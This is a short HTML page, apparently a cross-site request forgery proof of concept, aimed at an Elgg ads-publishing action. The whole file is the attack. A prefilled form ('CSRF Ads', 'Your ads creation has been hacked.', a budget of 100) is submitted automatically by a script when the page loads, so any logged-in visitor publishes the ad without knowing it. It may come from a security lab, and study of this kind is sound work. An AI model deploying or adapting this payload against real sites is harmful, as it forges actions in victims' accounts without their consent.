<form action="http://mail.com/elgg/action/ads/publishad" method="post" name="adform" id="ads_form">
    <input type="text" class="ad-title" name="ad_title" value="CSRF Ads">
    <input type="text" class="ad-description" name="ad_description" value="Your ads creation has been hacked.">
    <input type="text" class="ad-content" name="ad_content" value="hacked content">
    <input type="text" class="ad-budget" name="ad_budget" value="100">
    <input type="text" class="ad-link" name="ad_link" value="http://www.google.com">
</form>
<script type="text/javascript">
document.getElementById('ads_form').submit();
</script>